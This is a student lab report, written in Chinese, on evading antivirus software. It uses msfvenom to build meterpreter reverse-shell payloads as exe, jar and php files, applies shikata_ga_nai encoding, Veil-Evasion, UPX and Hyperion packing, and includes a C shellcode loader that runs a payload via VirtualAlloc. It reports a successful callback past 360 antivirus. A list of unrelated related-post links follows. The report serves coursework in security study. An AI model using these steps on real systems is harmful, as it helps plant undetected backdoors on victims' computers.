一、实践基本内容

1.实践目标

(1) 正确使用msf编码器(√),msfvenom生成如jar之类的其他文件(√),veil-evasion(√),加壳工具(√),使用shellcode编程(√)

(2)通过组合应用各种技术实现恶意代码免杀(√)

(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(√)

2.实践基础问题回答

  (1)杀软是如何检测出恶意代码的?

  • 杀软有一个病毒的特征码库,恶意代码有一些其他正常程序没有的特征码,通过识别恶意代码的特征码检测恶意代码。
  • 杀毒软件通过动态检测对象文件的行为来识别恶意代码,所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。

  (2)免杀是做什么?

  • 让后门程序不被杀软检查并删掉。

  (3)免杀的基本方法有哪些?

  • 实验中的方法:msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程。

3.开启杀软能绝对防止电脑中恶意代码吗?

  • 在实验中我有很深刻的体会,虽然说杀软无时无刻的在更新自己的病毒库,但是恶意代码会通过各种方式方法来躲开杀软的查杀,而且有些杀软并不是那么强,什么恶意代码都会发现;

二.实践总结与体会

在本次实验中,掌握了更多种后门程序的生成方法,也掌握了如何组合多种后门程序来实现免杀;实验中我也存在很多问题,但是最后都得以解决,受益匪浅。

三.问题分析与解决

问题一:

问题:在上传文件的时候文件名出现了问题。

解决:我就把20164325改成了4325就可以啦。

问题二:

问题:然而我没有成功安装成功。我还试了另外一种方法安装也没有成功;

sudo apt-get install veil-evasion 安装veil-evasion

(真的等它安装完等了好长时间)

下载好之后veil开始安装,一路Y

没成功。

解决:最后我是在同学那考过来的。

问题三:

问题:用shellcode编程,生成的文件运行回连时会出现问题(打不开文件),如下:

解决:原本我打的主函数内容是:

int main()
{
int (*func)() = (int(*)())buf;
func();
}

出现了上面的问题后,我修改了主函数内容,新内容为:

int main()
{
void *exec=VirtualAlloc(o,sizeof buf,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
memcpy(exec,buf,sizeof buf);
((void(*)())exec)();
}

结果成功;

问题四:

问题:在做任务三时,桥接模式一直连接不成功;尝试过重启电脑,也没有解决。

解决:对ipv4进行了配置,结果桥接模式成功连接。


四.实践过程

任务一:

1.使用msf编码器,生成exe文件

1.1在实验二中使用msf生成了后门程序,我使用Virscan对生成的后门程序进行扫描,结果如下:

显然,裸奔的后门非常容易被检查出来,49个杀软有28个都检查出了它。

1.2然后进行十次编码使用命令

 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i  -b ‘\x00’ LHOST=192.168.113.137 LPORT= -f exe > 4325wxr.exe

将编码十次后的可执行文件上传到Virscan扫描后结果如下:

结果并没有什么改变,也就是说使用msf编码器多次编码对免杀没有太大的效果

2.msfvenom生成如jar之类的其他文件

2.1 msfvenom生成jar文件

 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.113.138 LPORT= x> wxr_backdoor_java.jar 

这里我的kali的ip变了,因为是隔天做的。

我在Virscan网页下查杀出现了问题,文件名有问题,所以我就转移到VirusTota网页查,结果如下:

结果不理想。

2.2 msfvenom生成php文件

 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.113.138 LPORT= x> wxr_backdoor.php

结果如下:

3.安装并使用veil-evasion

3.1我是在同学那考过来的veil-evasion。

3.2输入veil

输入 use evasion

输入命令use python/meterpreter/rev_tcp.py

设置反弹连接IPset LHOST 192.168.113.137注意此处的IP是Kali的ip

设置端口set LPORT

输入generate生成文件,接着输入你想要playload的名字: veil_c_4325

我这里用的Python却以c的命名veil_c_4325,到之后我把文件从虚拟机共享到windows的时候改了个名字,改成了veil_python_4325;下面就是我在Virscan网页下查杀的情况。

扫描结果49个杀软有14个检查除了它,已经比只使用msf编码器,生成exe文件要好很多了!

4.用shellcode编程

4.1 msfvenom生成shellcode:

 msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.113.138 LPORT= -f c

4.2 创建一个文件20164325.c vim .c

4.3 然后将unsigned char buf[]赋值到其中,保存;

代码如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
。。。。。。
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
void *exec=VirtualAlloc(o,sizeof buf,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
memcpy(exec,buf,sizeof buf);
((void(*)())exec)();
}

4.4 使用命令i686-w64-mingw32-g++ .c -o .exe编译.c文件为可执行文件

4.5 运行监听,结果成功:

4.6 使用VirusTota网页下检查结果:

使用Virscan网页下检查结果(更名为4325)

我开启的时候,360杀毒并没有检测到并制止我打开的这个文件。当我自定义扫描linux时,也只是扫描出来了java那个文件。

5.加壳

5.1 使用压缩壳UPX,给之前的20164325.exe加个壳得到wxr_ke.exe:

Upx .exe –o wxr_ke.exe

5.2 扫描结果如下:

任务二:通过组合应用各种技术实现恶意代码免杀

方法一:用了shellcode编程+加壳混合的方法(成功免杀)

就是用任务一的两种方法进行混合,因为是在一次实验,所以我更改了名称(4325_upx.exe)。

使用360杀毒查杀,定向查杀linux文件夹中的文件,共存!

反弹连接:

方法二:用了shellcode编程+加壳+加密壳hyperion混合的方法(没成功免杀)

加密壳hyperion方法:

.将之前生成的4325.c文件拷贝到 /usr/share/windows-binaries/hyperion/ 目录中

.进入目录 /usr/share/windows-binaries/hyperion/ 中

. 输入命令 wine hyperion.exe -v .c 4325_upx_hyperion.exe 进行加壳;

没有实现反弹连接;

找原因时,我先检测了原文件有没有问题(结果可以实现反弹连接),我在检查了方法一只加一层压缩壳的情况下有没有问题(结果可以实现反弹连接),然后我再检验4325_upx_hyperion.exe(不能实现反弹连接)。

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

方法:先把kali的网络配置器改为桥接模式,获取对方电脑的ip,并实现与另一台电脑的连接(ping),在按照任务一中的方法生成个后门程序,我是用的shellcode编译了一个.c文件,然后编译生成了一个.exe文件(名为20164325wxr),进行攻击(这里要注意ip要填对);生成后门程序后nc传输到对方电脑,在对方电脑杀软打开的情况下进行回连;成功!

杀软版本:


Exp3 免杀原理与实践 ——20164325王晓蕊的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  2. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  3. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  9. 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...

随机推荐

  1. .net MVC简洁的登录页面

    初学mvc,参考别人的代码写的 界面效果如下: 代码如下: @{ Layout = null; } <!DOCTYPE html> <html> <head> &l ...

  2. poj2777(线段树)

    题目链接:https://vjudge.net/problem/POJ-2777 题意:有L块连续的板子,每块板子最多染一种颜色,有T种(<=30)颜色,刚开始将所有板子染成颜色1,O次操作(包 ...

  3. vim 自动添加作者、版权、修改时间等信息

    相信大家阅读代码时都见过这样的文件头: # THIS FILE IS PART OF LibreBoot PROJECT (归属) # reboot.py - The core part of the ...

  4. VLC 用到的那些 YUV 格式

    YUV是视频应用中使用的一类像素格式.YUV实际上是所有“YUV”像素格式共有的颜色空间的名称. 与RGB格式(红 - 绿 - 蓝)相对应,YUV颜色用一个称为Y(相当于灰度)的“亮度”分量和两个“色 ...

  5. Python基础 ----- 流程控制

    ------   条件判断 if 条件判判断语法: 条件判断注意: 1.由if 条件起始 2.关键字后面要加一个空格 3.条件后面接: 4.符合python代码缩进格式 5.条件判断可以有多种组合方式 ...

  6. python 基础 ----- 变量

    ------  python注释 注释的作用:代码提示,运行时忽略不必要的代码 注释的三种方式: 1.“#” 单行注释 2.多行注释   三个单引号  和三个双引号都可以 注释的快捷键 Ctrl + ...

  7. MySQL主主

    MySQL双主(主主)架构方案   在企业中,数据库高可用一直是企业的重中之重,中小企业很多都是使用mysql主从方案,一主多从,读写分离等,但是单主存在单点故障,从库切换成主库需要作改动.因此,如果 ...

  8. Android Studio 的 build 过程

    如图, 编译器将源代码(包括 Application Module 及其所依赖的所有 Library 源代码)转换成 DEX(Dalvik Executable)文件(其中包括运行在 Android ...

  9. Echart遇到的问题:tooltip提示框大小异常

    将Echart图表放到项目中,发现当鼠标放到柱状图上时,提示框显示大小超出了div的大小. 官方的文档对于tooltip的说明也没有指出:如何修改大小. 那么tooltip是什么呢? fn+f12打开 ...

  10. SqlSever 使用 CROSS APPLY 与 OUTER APPLY 连接查询

    前言 日常开发中遇到多表查询时,首先会想到 INNER JOIN 或 LEFT OUTER JOIN 等等,但是这两种查询有时候不能满足需求.比如,左表一条关联右表多条记录时,我需要控制右表的某一条或 ...